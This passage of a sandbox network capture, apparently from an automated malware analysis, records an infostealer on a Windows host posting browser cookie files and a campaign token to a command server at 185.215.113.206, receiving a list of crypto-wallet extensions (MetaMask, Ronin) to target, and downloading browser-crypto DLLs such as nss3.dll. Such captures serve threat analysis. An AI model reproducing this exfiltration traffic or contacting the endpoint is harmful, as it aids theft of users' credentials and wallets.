name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------HCFBFBAEBKJKEBGCAEHCContent-Disposition: form-data; name="message"fplugins------HCFBFBAEBKJKEBGCAEHC--
Nov 25, 2024 07:53:19.722866058 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 25, 2024 07:53:19.744784117 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFI Host: 185.215.113.206 Content-Length: 6455 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 07:53:19.744874954 CET	6455	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 46 49 45 42 47 43 41 4b 4a 4b 45 43 47 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 Data Ascii: ------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------KKECFIEBGCAKJKECGCFIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 25, 2024 07:53:20.821974039 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 07:53:21.300115108 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 07:53:21.742294073 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:21 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 25, 2024 07:53:21.742435932 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 25, 2024 07:53:21.746453047 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 25, 2024 07:53:21.746589899 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49786	185.215.113.206	80	4364	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:53:31.164010048 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEH Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GCBKECAKFBGCAKECGIEH--
Nov 25, 2024 07:53:33.041393995 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 07:53:33.230233908 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIDBKKKKKFBGDGDHIDBG Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIDBKKKKKFBGDGDHIDBGContent-Disposition: form-data; name="file"------GIDBKKKKKFBGDGDHIDBG--
Nov 25, 2024 07:53:34.179811954 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49825	185.215.113.206	80	4364	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:53:41.300836086 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBFIEHIEGCAAAKKKKE Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 07:53:41.301043034 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 46 49 45 48 49 45 47 43 41 41 41 4b 4b 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 Data Ascii: ------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------EGCBFIEHIEGCAAAKKKKEContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 25, 2024 07:53:43.188350916 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 07:53:43.307254076 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIJJKECFCFBGDHIECAAF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 64 39 35 37 35 33 63 33 32 39 36 39 34 62 31 65 32 36 65 64 65 30 30 33 39 34 36 61 39 62 36 34 32 66 62 34 64 38 61 33 61 62 36 32 37 32 34 39 30 33 36 31 31 64 64 33 30 65 35 36 34 61 65 34 38 39 66 35 38 34 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 4a 4a 4b 45 43 46 43 46 42 47 44 48 49 45 43 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="token"3d95753c329694b1e26ede003946a9b642fb4d8a3ab62724903611dd30e564ae489f5840------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIJJKECFCFBGDHIECAAFContent-Disposition: form-data; name="file"------FIJJKECFCFBGDHIECAAF--
Nov 25, 2024 07:53:44.260037899 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 07:53:44.815604925 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 07:53:45.262042046 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 25, 2024 07:53:45.262100935 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 25, 2024 07:53:45.262115955 CET	448	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 25, 2024 07:53:45.262130022 CET	1236	IN	Data Raw: 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b 44 24 14 2c 01 73 42 8b 44 24 18 2c 01 73 40 8b 44 24 20 2c 01 89 44 24 Data Ascii: t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@mbD$HD$
Nov 25, 2024 07:53:45.262146950 CET	1236	IN	Data Raw: ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 Data Ascii: t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGH
Nov 25, 2024 07:53:45.262161016 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 25, 2024 07:53:45.262185097 CET	1236	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo]UVuE9sh;UMVuPu^]
Nov 25, 2024 07:53:45.262198925 CET	296	IN	Data Raw: f7 17 66 0f 6f 1d e0 20 08 10 66 0f fe fb f3 0f 5b ff 66 0f 70 e6 f5 66 0f f4 f7 66 0f 70 ef f5 66 0f f4 ec 66 0f 6f e0 66 0f fe 25 d0 20 08 10 66 0f 70 fe e8 66 0f 70 ed e8 66 0f 62 fd 66 0f 6e 6c 07 04 66 0f ef db 66 0f 60 eb 66 0f 61 eb 66 0f Data Ascii: fo f[fpffpffof% fpfpfbfnlff`fafffrf% [fpffpfpffpfbffof fnf`fafrfo- f[fpffpffof%!fpfpfbfnTf`
Nov 25, 2024 07:53:45.263041019 CET	1236	IN	Data Raw: d4 66 0f eb d6 83 c6 10 66 0f fe 05 10 21 08 10 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b Data Ascii: ff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpff
Nov 25, 2024 07:53:45.263159990 CET	1236	IN	Data Raw: 18 09 c2 33 55 e0 8b 4d c4 8b 45 d4 d3 e8 8b 4d e8 8b 7d dc 89 14 0f 8b 7d e4 83 c6 fc 83 c1 04 89 c2 8b 45 d0 89 75 d8 3b 75 c8 0f 83 c7 fe ff ff 8b 55 ec 01 ca 01 cf 01 4d dc 83 7d d8 00 0f 85 c4 fc ff ff 8b 45 f0 88 90 00 01 00 00 88 98 01 01 Data Ascii: 3UMEM}}Eu;uUM}Et}EPEE},7,7E@2CM.USWV\2tRA
Nov 25, 2024 07:53:46.970487118 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 07:53:47.416557074 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 25, 2024 07:53:48.302544117 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 07:53:48.748650074 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 25, 2024 07:53:49.452157974 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 07:53:49.898535967 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 